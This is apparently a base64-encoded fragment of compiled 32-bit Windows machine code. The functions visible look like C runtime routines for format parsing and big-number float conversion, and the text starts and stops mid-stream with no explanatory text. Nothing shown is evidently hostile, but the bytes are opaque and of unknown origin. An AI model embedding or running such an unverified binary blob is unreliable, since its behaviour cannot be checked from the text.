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iYUs/v//ibXk9v//ib3c9v//O/p1DYvY6WsGAACLhej2//+D+QkPhTcBAACFwA+EkwAAAIud6Pb//zPJM/a/AMqaO4uEtTD+///35wPBiYS1MP7//4PSAEaLyjvzdeSLvdz2//+LhSz+//+FyXRMg/hzcxaJjIUw/v//i4Us/v//QImFLP7//+sxg6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDofdgAAIuFLP7//4PEEIu15Pb//4mF6Pb//4X2D4SCAAAAM9KFwHQeM8ABtJUw/v//E8BCi/CLhSz+//+Jhej2//870HXihfZ0WoP4c3McibSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6O/XAACLnSz+//+DxBCJnej2///rBoud6Pb//4uV1Pb//zP2M8nrBoud6Pb//w+2B2v2CgPwQUeJteT2//+Jvdz2//87+g+Flv7//4XJD4TzBAAAi8Ez0moKWffxiYXI9v//i8qJjbj2//+FwA+EfwMAAIP4JnYDaiZYD7YMhfa6BxAPtjSF97oHEIv5iYXQ9v//wecCV40EMYmFvPj//42FwPj//2oAUOg7cf//i8bB4AJQi4XQ9v//D7cEhfS6BxCNBIXwsQcQUI2FwPj//wPHUOihMAEAi4W8+P//M8lBg8QYO8EPh7MAAACLtcD4//+F9nUaM8CJhez2//+JhSz+//9QjYXw9v//6Z0CAAA78XUHisHptQIAAIXbdPUzyTP/i8b3pL0w/v//A8GJhL0w/v//g9IAR4vKO/t15IXJdE+LhSz+//+D+HNzFomMhTD+//+LnSz+//9DiZ0s/v//6zQz242FwPj//4mdvPj//1NQjYUw/v//iZ0s/v//aMwBAABQ6GnWAACKw+kvAgAAi50s/v//sAHpKwIAADvZD4eOAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6CTWAACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpwAEAAIudLP7//0CJnej2//87+A+EyAEAAIXbD4TAAQAAM8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeTpCv///zvDjbXA+P//D5LBhMl1II21MP7//42VwPj//4mV3Pb//4TJdBKL0ImV6Pb//+sQjZUw/v//6+SL04md6Pb//4TJdQKL2DPJM/+JjVz8//+F0g+EDwEAAI2FYPz//yvwibW09v//jQS+i4QFYPz//4mFpPb//4XAdR07+Q+F3AAAACGEvWD8//+NTwGJjVz8///pxwAAADPSM8CJldj2//+L94mFvPb//4XbD4SYAAAAg/5zdFs78XUXg6S1YPz//wBAA8eJhVz8//+Lhbz2//+Ljdz2//+LBIH3paT2//8Dhdj2//+D0gABhLVg/P//i4W89v//i41c/P//g9IAQImV2Pb//0aJhbz2//87w3WghdJ0NIP+cw+E7AAAADvxdRGDpLVg/P//AI1GAYmFXPz//4vCM9IBhLVg/P//i41c/P//E9JG68iD/nMPhLgAAACLlej2//+LtbT2//9HO/oPhf/+//+LwYmNLP7//8HgAlCNhWD8//9QaMwBAACNhTD+//9Q6DXUAACwAYudLP7//4PEEImd6Pb//4TAdDGLhcj2//8rhdD2//+Jhcj2//8PhYf8//+Ljbj2//+FyQ+EtwAAAIs8jYy7BxCF/3VMg6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDox9MAAIuFLP7//4PEEImF6Pb//+t5M9uNhfD2//+Jnez2///pIf3//4uF6Pb//4P/AXRbhcB0VzPJi9gz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSLhSz+//+FyXSqg/hzD4Nw////iYyFMP7//4uFLP7//0CJhej2//+JhSz+///rBouF6Pb//4uV5Pb//4XSD4SCAAAAM8mFwHQei8Iz0gGEjTD+//+LhSz+//8T0omF6Pb//0E7yHXihdJ0WoP4c3MciZSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6L7SAACLnSz+//+DxBCJnej2///rBoud6Pb//4uFzPb//4XAD4QTBAAAagoz0ln38YmF2Pb//4vKiY249v//hcAPhK0DAACD+CZ2A2omWA+2DIX2ugcQD7Y0hfe6BxCL+YmFvPb//8HnAleNBDGJhbz4//+NhcD4//9qAFDoNmz//4vGweACUIuFvPb//w+3BIX0ugcQjQSF8LEHEFCNhcD4//8Dx1DonCsBAIuFvPj//zPJQYPEGDvBD4eUAAAAi73A+P//hf91QzPAUImF7Pb//4mFLP7//42F8Pb//1BozAEAAI2FMP7//1Do0tEAAIPEEIudLP7//7ABiZ3o9v//i53o9v//6cECAAA7+XUEisHr7YXbdPgzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OmnAAAAiYyFMP7//4udLP7//0OJnSz+///rpjvZD4fXAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6D7RAACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpPf///4udLP7//0CJnej2//87+A+ERf///4XbD4Q9////M8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSFyQ+EB////4uFLP7//4P4cw+CQv///zPbjYXA+P//U1CNhTD+//+Jnbz4//9ozAEAAFCJnSz+///ooNAAAIrDg8QQi50s/v//6cn+//87w42VwPj//w+SwYTJdQaNlTD+//+JleT2//+NlTD+//+EyXUGjZXA+P//iZXI9v//hMl0Cov4ib3c9v//6wiL+4md3Pb//4TJdQKL2DPSM/aJlVz8//+F/w+EBwEAAIuF5Pb//42NYPz//yvBiYXk9v//jQSwi4QFYPz//4mFzPb//4XAdR078g+FyAAAACGEtWD8//+NVgGJlVz8///pswAAADPAM/+JhdD2//+LzoXbD4SQAAAAg/lzdFM7ynUXg6SNYPz//wBAA8aJhVz8//+LhdD2//+Llcj2//+LBIL3pcz2//8Dx4PSAAGEjWD8//+LhdD2//+D0gBAQYmF0Pb//4v6i5Vc/P//O8N1qIX/dDSD+XMPhPwAAAA7ynURg6SNYPz//wCNQQGJhVz8//+LxzP/AYSNYPz//4uVXPz//xP/QevIg/lzD4TIAAAAi73c9v//i4Xk9v//Rjv3D4UN////i8KJlSz+///B4AJQjYVg/P//UI2FMP7//2jMAQAAUOgGzwAAg8QQsAGLnSz+//+Jnej2//+EwA+EpwAAAIuF2Pb//yuFvPb//4mF2Pb//w+FWfz//4uNuPb//4XJdEWLPI2MuwcQhf8PhYgAAAAzwFCJhbz4//+JhSz+//+NhcD4//9QjYUw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hcD4//9QjYWQ+v//aMwBAABQ6ITHAACDxBCLnYz6//+JneT2//+Lldz2//+F0nR6M8mF23Qei8Iz0gGEjZD6//+LnYz6//8T0omd5Pb//0E7y3XihdJ0UoP7c3MWiZSdkPr//4udjPr//0OJnYz6///rMYOlvPj//wCNhcD4//+DpYz6//8AagBQjYWQ+v//aMwBAABQ6ADHAACLnYz6//+DxBCJneT2//+LheD2//+LjbD2//+DOQB9AisBagoz0oOlZPz//wBe9/YzyUGJlbT2//+JjWD8//+JjeD2//+JjVz8//+Jhcj2//+FwA+E2gMAAIP4JnYDaiZYD7YMhfa6BxAPtjSF97oHEIv5iYXQ9v//wecCV40EMYmFvPj//42FwPj//2oAUOhhYP//i8bB4AJQi4XQ9v//D7cEhfS6BxCNBIXwsQcQUI2FwPj//wPHUOjHHwEAi4W8+P//M9JCg8QYO8IPh6EAAACDvcD4//8AdUMzwFCJhez2//+JhVz8//+NhfD2//9QaMwBAACNhWD8//9Q6P7FAACDxBCLjVz8//+wAYmN4Pb//4uN4Pb//+nvAgAAOZXA+P//dQSKwuvpi43g9v//hcl08jP2M/+LhcD4///3pL1g/P//A8aJhL1g/P//g9IAR4vyO/l14Om/AAAAibSFYPz//4uNXPz//0GJjVz8///rmIuN4Pb//zvKD4fpAAAAi7Vg/P//v8wBAACJhVz8///B4AJQjYXA+P//ibXM9v//UI2FYPz//1dQ6FDFAACDxBAzwIX2dRpQiYW8+P//iYVc/P//jYXA+P//UFfpI////4uNXPz//0CJjeD2//878A+EK////4XJD4Qj////i53M9v//M/Yz/4vD96S9YPz//wPGiYS9YPz//4PSAEeL8jv5deSLneT2//+F9g+E4f7//4uFXPz//4P4cw+CKv///zPAUImFvPj//4mFXPz//42FwPj//1CNhWD8//9ozAEAAFDopsQAAIuNXPz//4PEEDLA6aP+//87wY21wPj//w+SwoTSdXmNtWD8//+NvcD4//+JvcT2//+Jhdj2//+E0nUIiY3Y9v//i8gz0jP/iZXs9v//OZXY9v//D4QlAQAAjYXw9v//K/CJtbj2//+NBL6LhAXw9v//iYXM9v//hcB1JTv6D4XuAAAAIYS98Pb//41XAYmV7Pb//+nZAAAAjb1g/P//64uDpdT2//8AM8CJhdz2//+L94XJD4SpAAAAg/5zdFs78nUXg6S18Pb//wBAA8eJhez2//+Lhdz2//+LlcT2//+LBIL3pcz2//8DhdT2//+D0gABhLXw9v//i4Xc9v//g9IAQEaJldT2//+Llez2//+Jhdz2//87wXWgg73U9v//AHRAg/5zD4QAAQAAO/J1EYOktfD2//8AjUYBiYXs9v//i4XU9v//M9IBhLXw9v//E9JGiZXU9v//hdKLlez2//91wIP+cw+EwAAAAIu1uPb//0c7vdj2//8Phen+//+LwomVXPz//8HgAlCNhfD2//9QjYVg/P//aMwBAABQ6ATDAACDxBCwAYuNXPz//4mN4Pb//4TAD4ShAAAAi4XI9v//K4XQ9v//iYXI9v//D4Us/P//i5W09v//hdIPhD0BAACLBJWMuwcQiYXM9v//hcB1fFCJhdT0//+JhVz8//+Nhdj0//9QjYVg/P//aMwBAABQ6I/CAACDxBCLjVz8//+JjeD2///p+QAAADPAUImF1PT//4mFXPz//42F2PT//1CNhWD8//9ozAEAAFDoVMIAAIPEEDLA6Uv///+DpdT0//8Ag6Vc/P//AGoA63OD+AEPhKcAAACFyQ+EnwAAADP/M/b3pLVg/P//A8eJhLVg/P//i4XM9v//g9IARov6O/F14IX/D4Rv////i4Vc/P//g/hzcxyJvIVg/P//i41c/P//QYmN4Pb//4mNXPz//+tSM8CJhdT0//+JhVz8//9QjYXY9P//UI2FYPz//2jMAQAAUOitwQAAi4Ww9v//g8QQ/7Wo9v//D7aACAMAAFDop+f//1lZagLp8PP//4uN4Pb//4XbdQQz9usgi4SdjPr//4OlzPb//wAPvcB0A0DrAjPAjXP/weYFA/CFyXUEM9LrIIuEjVz8//+Dpcz2//8AD73AdANA6wIzwI1R/8HiBQPQi8Irxjvyav8b9iPwibXU9v//Xw+GrQEAAIuF1Pb//zPSg+Afwe4FaiBZK8iJhcj2//8zwIm13Pb//0CJjbj2///oIRcBAIuMnYz6//9ID73JiYW09v//99CJhcz2//90A0HrAjPJaiBYK8GNFB45hcj2//+JldD2//8Pl8CD+nOIhcP2//8Pl8GD+nN1CITAdASwAesCMsCEyQ+F6gAAAITAD4XiAAAAg/pycglqclqJldD2//+LyomN2Pb//zvXD4SPAAAAi4Xc9v//i/Ir8I2VkPr//40UsjvIcmw783MEiwLrAjPAiYXE9v//jUb/O8NzBYtC/OsCM8Ajhcz2//+D6gSLjbj2//+LncT2//8jnbT2///T6IuNyPb//9Pji43Y9v//C8OJhI2Q+v//SU6Jjdj2//87z3QOi52M+v//i4Xc9v//65CLldD2//+Ltdz2//+F9nQPM8CNvZD6//+LzvOrg8//gL3D9v//AI1aAYuN4Pb//4u11Pb//3UCi9qJnYz6///rPDPAUImF1PT//4mFjPr//42F2PT//1CNhZD6//9ozAEAAFDogb8AAIudjPr//4PEEIuN4Pb//4u11Pb//4uVrPb//4uFvPb//yvQiZWs9v//hcB0K4vCO/B2If+1qPb//4uFsPb//2oBD7aACAMAAFD/tbz2///pGgMAAIvQK9Y72Xc5cjCNS/87z3Qwi4SNkPr//zuEjWD8//91BUk7z3XrO890F4uEjZD6//87hI1g/P//dwdGibXU9v//i/IzwIPiH8HuBWogWSvKiZXI9v//QIm13Pb//zPSiY249v//6PgUAQCLjJ2M+v//SA+9yYmFtPb///fQiYXM9v//dAWNQQHrAjPAaiBZK8iNFB45jcj2//+JldD2//8Pl8CD+nOIhcP2//8Pl8GD+nN1CITAdASwAesCMsCEyQ+F5AAAAITAD4XcAAAAg/pycglqclqJldD2//+LyomN2Pb//zvXD4SPAAAAi4Xc9v//i/Ir8I2VkPr//40UsjvIcmw783MEiwLrAjPAiYXE9v//jUb/O8NzBYtC/OsCM8Ajhcz2//+D6gSLjbj2//+LncT2//8jnbT2///T6IuNyPb//9Pji43Y9v//C8OJhI2Q+v//SU6Jjdj2//87z3QOi52M+v//i4Xc9v//65CLldD2//+Ltdz2//+F9nQPM8CNvZD6//+LzvOrg8//gL3D9v//AHQLjUIBiYWM+v//6zKJlYz6///rKjPAUImF1PT//4mFjPr//42F2PT//1CNhZD6//9ozAEAAFDoXL0AAIPEEI2FXPz//1CNhYz6//9Q6FsCAACDvYz6//8Ai9hZWYvKiZ3E9v//D5TCiY3c9v//iJXY9v//hcl1Ejvfdw4PvcN0BY1wAesTM/br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